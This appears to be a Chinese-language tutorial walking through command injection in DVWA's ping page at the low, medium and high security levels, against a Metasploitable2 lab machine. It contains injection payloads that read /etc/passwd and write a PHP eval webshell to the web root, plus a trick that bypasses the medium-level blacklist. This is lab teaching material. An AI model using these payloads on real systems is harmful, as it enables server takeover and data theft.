一、工具
靶机 Metasploitable2
WebApplication——DVWA
菜刀——蚁剑
二、原理及条件
原理: 是指在某些需要输入数据的位置,还构造了恶意的代码破坏了原先的语句结构。而系统缺少有效的过滤,最终达到破坏数据、信息泄露甚至掌控电脑的目的。(通过web程序,在服务器上拼接系统命令)
注入条件:
- web应用程序调用可执行系统命令的函数
- 执行系统命令的函数或函数的参数可控
- 可控参数可拼接注入参数
具体实战
正常输入:
low等级
后台代码:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
发现对输入没有做任何过滤处理!
127.0.0.1 && /cat /etc/passwd 发现可行
简单介绍下 linux 里 && 、&、||、|
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
| 表示管道,上一条命令的输出,作为下一条命令参数的输入,如 echo ‘yes’ | wc -l
|| 表示前一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
接下来我就直接介绍怎么注入木马拿库
之前有次线上的比赛,被虐死,其中web有道题就命令注入
然后有人先进库拿到了flag,但是他没退出来,而是选择“监视”
看到有人上传木马他就删了(是的,大佬比较闲,后面还是举办方又重新上线那个web)
所以,实际点,上手就直接拿webshell
127.0.0.1; echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 && echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
注【我这里写的文件保存在web根目录下,只是为了方便】 \ 是用来转义的
发现上传成功! 接着就可以上菜刀连了
具体蚁剑的连接参考
我们线上当时flag就在根目录里,是个隐式文件 。结果那家伙待在这监视,还把那个文件内容给改了,也就是就算没有删除上传的木马,后面人拿到的flag也是错的!
其他代码我就不演示了!我都试过也是可以运行的
medium等级
后台代码:
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
分析后,发现只是对 && 和 ; 进行了过滤
绕过代码:
127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
127.0.0.1 &;& echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
上面这条也可以用,这也是技巧,系统先过滤掉 ; 没有第二遍过滤 &&
接着就是菜刀拿库了!
high等级
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
?>
这个就基本没戏了,系统对输入进行 “.” 分割,还对各个部分判断是否是数字字符串,然后再重组。